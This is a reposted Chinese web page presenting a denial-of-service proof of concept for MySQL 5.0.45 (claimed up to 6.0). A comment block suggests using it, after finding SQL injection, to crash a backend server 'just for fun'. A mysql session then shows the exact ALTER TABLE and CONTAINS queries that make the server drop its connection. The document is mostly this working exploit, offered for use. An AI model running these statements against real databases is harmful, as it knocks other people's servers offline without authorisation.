mysql 5.0.45 (修改)拒绝服务漏洞

 更新时间:2010年07月22日 23:39:50   作者:  
mysql 5.0.45 (修改)拒绝服务漏洞的方法,追求安全的朋友可以参考下。
mysql 5.0.45 (修改)拒绝服务漏洞
/*
* MySQL <=6.0 possibly affected
* Kristian Erik Hermansen
* Credit: Joe Gallo
* You must have Alter permissions to exploit this bug!
* Scenario: You found SQL injection, but you want to punch backend server
* in the nuts just for fun. Start with the Alter TABLE statement on
* a table and field you know to exist. The first two SQL statements are
* simply to demostrate reproducibility...
*/

<snip>
mysql> Create TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected

mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
Empty set

mysql> Alter TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
ERROR 2013 : Lost connection to MySQL server during query
</snip>

相关文章

最新评论